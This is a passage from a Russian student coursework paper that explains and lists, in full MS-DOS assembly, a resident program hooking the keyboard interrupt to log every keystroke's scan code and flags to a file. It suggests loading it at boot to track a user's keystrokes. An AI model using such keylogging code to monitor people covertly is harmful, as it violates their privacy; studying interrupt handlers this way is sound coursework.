Скачать 419.36 Kb.
|
3.1. Описание для пользователяПриведённая ниже программа осуществляет перехват прерывания от клавиатуры, и производит запись скэн-кодов клавиш и байта флагов клавиатуры в файл с именем « s_code&f.txt ». При этом фиксируются только нажатия клавиш. Запись происходит при каждом шестнадцатом нажатии клавиши. Это сделано, во-первых, для уменьшения вероятности потери «ценных» нажатий при экстренном выключении компьютера, во-вторых, для экономии оперативной памяти, в-третьих, для сохранения нормальной работоспособности компьютера. Файл « s_code&f.txt » создаётся в родительском каталоге программы. Если при инсталляции файл уже существует, то программа, автоматически, запишет в конец текущую дату и время, после этого будет осуществляться запись скэн-кодов и флагов в обычном режиме после даты и времени. Программа является резидентной. После того как она будет успешно инсталлирована, на экране появится соответствующая надпись “Program installed”. В ней предусмотрена защита от повторной установки. Таким образом одновременно в оперативной памяти компьютера не может находится больше одной копии программы, что практически сводит к нулю шансы не корректной работы. При попытке запустить программу после того как она уже была инсталлирована, на экране появится соответствующая надпись “Program already installed”. Также эту программу можно выгрузить из оперативной памяти после того как потребность в ней отпадёт. Для этого следует запустить программу с ключом “off”, т.е. в командной строке написать <имя программы> off . После этого вы увидите строку “Program is DIE”, сигнализирующую об успешной выгрузке программы. При этом содержимое буфера будет записано в файл. Таким образом, в файл будут записаны все нажатия клавиш вплоть до выгрузки программы. Если данную программу записать, например, в autoexec.bat, то можно будет проследить время начала работы пользователя и какие кнопки он после этого нажимал. Данная программа работает только в среде MS-DOS. 3.2 Описание для программистаПрограмма пишется в формате СОМ, поэтому в ней предусматривается только один сегмент, с котором связываются сегментные регистры CS и DS; в начале сегмента резервируется 256 байт дня PSP. Инициализация. При запуске программы с клавиатуры управление передается (в соответствии с параметром директивы end) на начало процедуры main. Командой jmp сразу же осуществляется переход на секцию инициализации, которая оформлена в виде отдельной процедуры. В секции инициализации подготавливаются условия для работы программы уже в резидентном состоянии. В начальной части инициализации мы проверяем наличие хвоста в PSP, если же в командной строке кроме имени команды ничего не было – переходим на дальнейший анализ: mov cl,es:80h cmp cl,0 je live Если хвост присутствует, проверим не был ли введён ожидаемый параметр “off”. При положительном результате проверки устанавливаем флаг требования выгрузки “flag” в единицу и переходим на дальнейший анализ. Затем вызываем мультиплицированное прерывание int2Fh c функцией F1h и подфункцией проверки на повторную установку 00h. Если наш обработчик находится в оперативной памяти – он возвратит AL=FFH, и программа перейдёт на метку installed. Проверим установлен ли флаг требования выгрузки “flag” . Если flag =1 перейдём на метку unins, где перешлём в первую (резидентную) копию программы запрос на выгрузку из оперативной памяти по средствам прерывания int2Fh и функцией F2h с подфункцией 01h. После чего происходит вывод строки “Program is DIE” на экран сигнализирующей об успешном удалении резидентной части программы. После чего выйдем из программы, обычным образом, функцией 4С00h. Если флаг требования выгрузки “flag”=0, это говорит о том, что введена неизвестная команда, а наш резидент уже инсталлирован. В этом случае выведем на экран предупреждающую надпись о невозможности повторной установки программы “Program already installed” сопровождаемую звуковым сигналом. После этого завершим программу функцией 4Ch с кодом возврата 01h. Если после прерывания int2Fh c функцией F200h, возвратиться ALFFh, то нашего обработчика в памяти не оказалось. Сохраним смещения и сегменты системных обработчиков int09h и int2Fh, а затем заполним векторы смещениями наших обработчиков. mov ax,352fh int 21h mov word ptr cs:old_2fh,bx mov word ptr cs:old_2fh+2,es mov ax,252fh mov dx,offset new_2fh int 21h mov ax,3509h int 21h mov word ptr cs:old_09h,bx mov word ptr cs:old_09h+2,es mov ax,2509h mov dx,offset new_09h int 21h После этого произведём поиск рабочего файла «s_code&f.txt» в текущем каталоге. Если файл не будет найден, то запустится процедура div_f, которая создаст рабочий файл и запишет в него строку «Skencode&Klav_flag file». В дальнейшем в этот файл будут записываться скэн-коды и байт флагов клавиатуры. Если файл уже существует, будет вызвана процедура div2_f, которая допишет в конец файла текущую дату и время. Выведем на экран строку «Program installed» подтверждающую установку программы. Последними строками этой части инициализации вызывается функция DOS 31h, которая выполняет завершение программы с оставлением в памяти указанной ее части. Размер резидентной части программы (в параграфах) передается DOS в регистре DX. Размер резидентной секции определяется разностью смещений end_res-main, которая равна длине резидентной части программы в байтах, прибавляется размер PSP (l00h) и еще число 15 (Fh) для того, чтобы после целочисленного деления на 16 результат был округлен в большую сторону. mov ax,3100hmov dx,(end_res-main+10fh)/16int 21hС целью экономии памяти секция инициализации располагается я конце программы и отбрасывается при ее завершении. Функция 31h, закрепив за резидентной программой необходимую для ее функционирования память, передает управление командному процессору и вычислительная система переходит в исходное состояние. Наличие программы, резидентной в памяти, никак не отражается на хода вычислительного процесса, за исключением того, что уменьшается объем свободной памяти. Одновременно в память может быть загружено любое число резидентных программ. Резидентная часть обработчика. Эта секция программы имеет две точки входа:
Обработчик прерывания от клавиатуры. После запуска процедуры new_09h сохраним используемые регистры. Затем получим скэн-код последней нажатой клавиши. В противном случае восстановим регистры и передадим управление следующему по цепочке обработчику клавиатуры (скорее всего это будет BIOS-овский обработчик «int09h»). in al,60h cmp al,80h ja exit Затем запишем этот скэн-код в буфер, считаем байт флагов клавиатуры из области данных BIOS и также занесём в буфер. Наш буфер имеет объём 32 байта, поэтому после каждого шестнадцатого нажатия необходимо сохранять буфер в рабочем файле. Для подсчёта нажатий введена переменная-счётчик sch. Увеличим счётчик на 2, затем проверим полон ли буфер, сравнив счётчик с 32. Если буфер не полон, сохраним использовавшиеся регистры и передадим управление следующему по цепочке обработчику клавиатуры. Если буфер забит, передадим управление процедуре fil. Эта процедура откроет наш рабочий файл, установит указатель в конец и допишет столько байт из буфера начиная сначала, сколько укажет ей переменная-счётчик. mov ah,40h mov cl,sch mov dx,offset bufer int 21h Это сделано для того, чтобы при удалении программы из памяти в файл были записаны все скэн-коды включая команду на удаление. Этот случай рассмотрим ниже. После того как данные будут сохранены, восстановим использовавшиеся регистры и передадим управление следующему по цепочке обработчику клавиатуры. Обработчик мультиплексорного прерыванияПроцедура new_2fh перехватит прерывание 2Fh, и если прерывание вызвано вместе с функцией F1h, то в зависимости от подфункции значение которой находится в AL выполнит следующие действия:
cmp al,00h je inst … inst: mov al,0ffh iret
Если мультиплексорное прерывание было вызвано с другой функцией либо с нашей функцией но с другими подфункциями, то обработчик передаст управление следующему по цепочке обработчику мультиплексорного прерывания. cmp ah,0f1h jne out_2fh cmp al,00h je inst cmp al,01h je off jmp short out_2fh inst: mov al,0ffh iret out_2fh: 3.3. Листинг программыtext segment 'code' assume cs:text,ds:text org 256 main proc jmp init ; Поля данных резидентной секции old_2fh dd 0 ; Ячейка для сохранения системного вектора 2Fh old_09h dd 0 ; Ячейка для сохранения системного вектора 09h bufer db 34 dup(?) ; Буфер для скэн-кодов и флагов клавиатуры sch db 0 ; Счётчик нажатий клавиш filename db 's_code&f.txt',0 ; Константа содержащая имя файла с которым работает программа ; Обработчик от клавиатуры new_09h proc ; Сохраним используемые регистры push ax push bx push cx push dx push ds push cs ; Настроим DS на наш сегмент для простоты программирования pop ds in al,60h ; Получим скэн-код клавиши cmp al,80h ; Проверим, является ли скэн-код кодом нажатия ja exit ; Нет – на выход mov bh,0 ; 0BH mov bl,sch ; Текущее значения счётчика в BL mov [bufer+bx],al ; Запишем в буфер скэн-код клавиши inc bl ; Увеличим смещение буфера push es ; Сохраним регистр ES mov ax,40h ; Настроим ES на начало области данных BIOS mov es,ax mov al,es:[17h] ; Занесём байт флагов клавиатуры в AL pop es ; Восстановим ES mov [bufer+bx],al ; Запишем байт флагов в буфер inc bl ; Увеличим смещение на 1 add sch,2 ; Счётчик нажатий +2 cmp sch,32 ; Пора скидывать буфер в файл? je go ; Да – на процедуру записи в файл jmp exit ; Нет – на выход go: call fil ; Вызов процедуры записи в файл ; Восстановим использовавшиеся регистры exit: pop ds pop dx pop cx pop bx pop ax jmp cs:old_09h ; Передадим управление системному обработчику “int09h” new_09h endp ; Конец процедуры обработчика от клавиатуры ; Процедура записи в файл скэн-кодов и флагов клавиатуры fil proc push cs ; Настроим DS на наш сегмент pop ds mov ah,3dh ; Функция открытия файла mov al,1 ; для записи mov dx,offset filename ; DS:DX ASCIIZ имени файла int 21h mov bx,ax ; Дескриптор в ВХ xor cx,cx ; Отчистим СХ xor dx,dx ; и DX mov ax,4202h ; Функция установки указателя в конец файла int 21h mov ah,40h ; Функция записи в файл mov cl,sch ; CL количество байт mov dx,offset bufer ; DS:DX адрес буфера int 21h mov ah,3eh ; Функция закрытия файла int 21h mov sch,0 ; Обнулим счётчик ret ; Выход из процедуры fil endp ; Конец процедуры записи в файл ; Обработчик мультиплексорного прерывания new_2fh proc cmp ah,0f1h ; Проверим номер функции мультиплексорного прерывания jne out_2fh ; Не наша – на выход cmp al,00h ; Подфункция проверки на повторную установку? je inst ; Да, сообщим о невозможности повторной установки cmp al,01h ; Подфункция выгрузки? je off ; Да – на выгрузку jmp short out_2fh ; Неизвестная подфункция, на выход inst: mov al,0ffh ; Программа уже установлена iret ; Выход из прерывания out_2fh: jmp cs:old_2fh ; Переход в следующий по цепочке обработчик прерывания 2Fh ; Выгрузим программу из памяти, предварительно восстановив все перехваченные ею векторы ; Сохраним используемые регистры off: push ds push es push dx push ax push bx push cx call fil ; Вызов процедуры записи в файл содержимого буфера ; Восстановим использовавшиеся регистры pop cx pop bx pop ax ; Восстановим вектор 09h mov ax,2509h ; Функция установки вектора lds dx,cs:old_09h ; Заполним DS:DX int 21h ; Восстановим вектор 2fh mov ax,252fh ; Функция установки вектора lds dx,cs:old_2fh ; Заполним DS:DX int 21h ; Получим из PSP адрес собственного окружения и выгрузим его mov es,cs:2ch ; ES окружение mov ah,49h ; Функция освобождения блока памяти int 21h ; Выгрузим теперь саму программу push cs ; Загрузим в ES содержимое CS, т.е. сегментный адрес PSP pop es mov ah,49h ; Функция освобождения блока памяти int 21h ; Восстановим использовавшиеся регистры pop dx pop es pop ds iret ; Возврат в вызвавшую программу new_2fh endp ; Конец процедуры обработки прерывания 2Fh end_res=$ ; Смещение конца резидентной части программы main endp tail db 'off' ; Ожидаемый хвост команды flag db 0 ; Флаг требования выгрузки tabl db '0123456789' ; Таблица для перевода BCD кода в ASCII time db 25 dup(?) ; Ячейка для сохранения текущей даты и времени ; Процедура создания файла div_f proc mov ah,3ch ; Функция создания файла mov cx,0 ; Без атрибутов lea dx,filename ; DS:DX ASCIIZ имени файла int 21h mov bx,ax ; Дескриптор в ВХ mov ah,40h ; Функция записи в файл mov cx,buflen ; CХ количество байт lea dx,buf ; DS:DX адрес строки int 21h mov ah,3eh ; Функция закрытия файла int 21h ret ; Выход из процедуры div_f endp ; Конец процедуры создания файла ; Процедура открытия файла и записи в него текущей даты и времени div2_f proc mov [time],0ah ; Запись в переменную time маркеров mov [time+1],0dh ; перехода на следующую строку mov ah,3dh ; Функция открытия файла mov al,1 ; для записи mov dx,offset filename ; DS:DX ASCIIZ имени файла int 21h mov bx,ax ; Дескриптор в ВХ push bx ; Сохраним дескриптор xor cx,cx ; Отчистим СХ xor dx,dx ; и DX mov ax,4202h ; Функция установки указателя в конец файла int 21h mov ah,02h ; Функция чтения времени из «постоянных» «CMOS» часов реального времени int 1ah ; Прерывание ввода – вывода для времени mov bx,offset tabl ; DS:DX адрес таблицы mov si,2 ; Установим смещение для переменной time mov ax,cx ; Часы и минуты сохраним в AX mov cx,12 ; Установим счётчик сдвига next: push ax ; Сохраним AX shr ax,cl ; Сдвинем AX на CL and al,0fh ; Получим номер ячейки в таблице прибавив маску xlat ; Получим ASCII код числа mov [time+si],al ; Занесём его в переменную time inc si ; Увеличим на 1 смещение cmp si,4 ; Смещение = 4 ? je ras ; Да, переход на метку ras vw: sub cl,4 ; Нет, уменьшим CL на 4 pop ax ; Восстановим AX cmp cl,-4 ; Сравним CL с -4 jne next ; Не равно – выполним ещё раз jmp ent1 ; Равно – переход на ent1 ras: mov [time+si],':' ; Запишем в переменную time – «:» inc si ; Увеличим на 1 смещение jmp vw ; Перейдём на метку vw ent1: mov [time+si],' ' ; Запишем в переменную time – « » inc si ; Увеличим на 1 смещение mov ah,04h ; Функция чтения даты из «постоянных» «CMOS» часов реального времени int 1ah ; Прерывание ввода – вывода для времени mov ax,dx ; Дату сохраним в AX mov cx,12 ; Установим счётчик сдвига next1: push ax ; Сохраним AX shr ax,cl ; Сдвинем AX на CL and al,0fh ; Получим номер ячейки в таблице прибавив маску xlat ; Получим ASCII код числа mov [time+si],al ; Занесём его в переменную time inc si ; Увеличим на 1 смещение cmp si,10 ; Смещение = 10 ? je ras1 ; Да, переход на метку ras1 vw1: sub cl,4 ; Нет, уменьшим CL на 4 pop ax ; Восстановим AX cmp cl,-4 ; Сравним CL с -4 jne next1 ; Не равно – выполним ещё раз jmp ent2 ; Равно – переход на ent2 ras1: mov [time+si],'.' ; Запишем в переменную time – «.» inc si ; Увеличим на 1 смещение jmp vw1 ; Перейдём на метку vw1 ent2: mov [time+si],0ah ; Запись в переменную time маркеров mov [time+si+1],0dh ; перехода на следующую строку pop bx ; Восстановим дескриптор mov ah,40h ; Функция записи в файл mov cx,20 ; CХ количество байт mov dx,offset time ; DS:DX адрес строки int 21h mov ah,3eh ; Функция закрытия файла int 21h ret ; Выход из процедуры div2_f endp ; Конец процедуры подготовки файла ; Процедура инициализации init proc mov cl,es:80h ; Получим длину хвоста PSP cmp cl,0 ; Длина хвоста = 0 ? je live ; Да программа запущена без параметров xor ch,ch ; Теперь CX=CL=длина хвоста mov di,81h ; DS:SI хвост в PSP lea si,tail ; DS:SI поле tail mov al,' ' ; Уберём пробелы из начала хвоста repe scasb ; Сканируем хвост, пока пробелы dec di ; DI первый символ после пробелов mov cx,3 ; Ожидаемая длина параметра repe cmpsb ; Сравниваем введённый хвост с ожидаемым jne live ; Введена неизвестная команда inc flag ; Введено «off», установим флаг запроса на выгрузку ; Проверим, не установлена ли уже данная программа live: mov ah,0f1h ; Установим нашу функцию mov al,0 ; и подфункцию на наличие нашей программы в оперативной памяти int 2fh cmp al,0ffh ; Программа установлена? je installed ; Да, при наличии запроса на выгрузку её можно выгрузить ; Сохраним вектор 2fh mov ax,352fh ; Функция получения вектора 2fh int 21h mov word ptr cs:old_2fh,bx ; Сохраним смещение системного обработчика mov word ptr cs:old_2fh+2,es ; Сохраним сегмент системного обработчика ; Заполним вектор 2fh mov ax,252fh ; Функция установления вектора прерывания 2fh mov dx,offset new_2fh ; Смещение нашего обработчика int 21h ; Сохраним вектор 09h mov ax,3509h ; Функция получения вектора 09h int 21h mov word ptr cs:old_09h,bx ; Сохраним смещение системного обработчика mov word ptr cs:old_09h+2,es ; Сохраним сегмент системного обработчика ; Заполним вектор 09h mov ax,2509h ; Функция установления вектора прерывания 09h mov dx,offset new_09h ; Смещение нашего обработчика int 21h mov ah,4eh ; Функция поиска файла lea dx,filename ; DS:DX ASCIIZ имени файла int 21h cmp ax,12h ; Файл не найден? je creat ; Да, создадим файл call div2_f ; Нет, вызов процедуры открытия файла и записи в него текущей даты и времени jmp by ; Переход на метку by creat: call div_f ; Вызов процедуры создания файла ; Выведем на экран информационное сообщение by: mov ah,09h ; Функция вывода на экран lea dx,mes ; DS:DX адрес строки int 21h mov ax,3100h ; Функция «завершиться и остаться резидентным» mov dx,(end_res-main+10fh)/16 ; Размер в параграфах int 21h installed: cmp flag,1 ; Запрос на выгрузку установлен? je unins ; Да, на выгрузку ; Выведем на экран информационное сообщение mov ah,09h ; Функция вывода на экран lea dx,mes1 ; DS:DX адрес строки int 21h ; Выведем предупреждающий звуковой сигнал mov cx,5 ; Количество гудков mov ah,02h ; Функция вывода на экран l: mov dl,07h ; ASCII код зуммера int 21h loop l ; Повторим CX раз mov ax,4c01h ; Функция завершения с кодом возврата int 21h unins: ; Перешлём в первую (резидентную) копию программы запрос на выгрузку mov ax,0f101h ; Наша функция с подфункцией выгрузки int 2fh ; Мультиплексное прерывание ; Выведем на экран информационное сообщение mov ah,09h ; Функция вывода на экран lea dx,mes2 ; DS:DX адрес строки int 21h mov ax,4c00h ; Функция завершения программы int 21h buf db 'Skencode&Klav_flag file',0ah,0dh buflen equ $-buf mes db 'Program installed$' mes1 db 'Program already installed$' mes2 db 'Program is DIE$' init endp text ends end main 3.4. Рекомендации по улучшению
Данная программа является шаблоном для резидентных обработчиков прерываний, в частности обработчиков прерываний от клавиатуры, и является огромным полем для творчества. 4. Список используемой литературы
|
Конспект лекций по дисциплине: «Операционные системы и среды» «Системы баз данных», «Инструментальные средства разработки аппаратно-программных систем», «Микропроцессоры и микропроцессорные системы»,... | Рабочая учебная программа по дисциплине «Операционные системы» разработана... Операционные системы [Текст]: рабочая учебная программа. Тюмень: гаоу впо то «тгамэуп». 2013. 17 с | ||
Паспорт программы учебной дисциплины «Операционные системы» Область применения Рабочая программа учебной дисциплины «Операционные системы» является частью рабочей основной профессиональной образовательной программы... | Пояснительная записка к курсовой работе по дисциплине «Разработка... Курсовой проект содержит: страниц –20, источников – 5, рисунков – 6, таблиц – 2 | ||
Пояснительная записка к курсовой работе по дисциплине «Разработка... Курсовой проект содержит: страниц –22, источников – 5, рисунков – 6, таблиц – 2 | Самостоятельная работа приобщает студентов к творчеству, поиску и... Автор разработки: Торгашин Геннадий Владимирович, гобу спо во «Борисоглебский индустриальный техникум», преподаватель дисциплины... | ||
Конспект по курсу лекций Операционные системы Граур Светлана группа... Основные блоки: 1)введение (историческое развитие вычислительных систем (ВС), определяемое появлением и развитием программного обеспечения... | Вопросы для экзаменов по предмету операционные системы Основные компоненты компьютерной системы, общая картина функционирования компьютерной системы | ||
Рабочая программа По дисциплине «Операционные системы» | Пояснительная записка к курсовому проекту по дисциплине «Разработка... Курсовой проект содержит: страниц – 22, источников – 8, рисунков – 9, таблиц – 1 | ||
Приложение примерные Темы для Курсовой работы по дисциплине Курсовой работа по дисциплине «Технологии программирования» состоит из 2 частей: теоретическая часть; практическое задание | Методические указания к практическим занятиям рпк «Политехник» Методические указания предназначены для проведения практических занятий по дисциплине “Базы данных” в соответствии со стандартом... | ||
Операционные системы конспект лекций Внутренняя организация файловой системы: модель версии Fast File System (ffs) bsd 193 | Пояснительная записка к курсовому проекту по дисциплине «Разработка... Курсовой проект содержит: страниц –19, источников – 5, рисунков – 6, таблиц – 2 | ||
Методические указания по выполнению самостоятельной работы по дисциплине... Самостоятельная работа является одним из видов учебной деятельности студентов, способствует развитию самостоятельности, ответственности... | Методические указания к курсовой работе по дисциплине «Системы, технология... Системы, технология и организация услуг автосервиса: Метод указания к курсовой работе. – Ростов н/Д: Изд центр дгту, 2007. 31 с |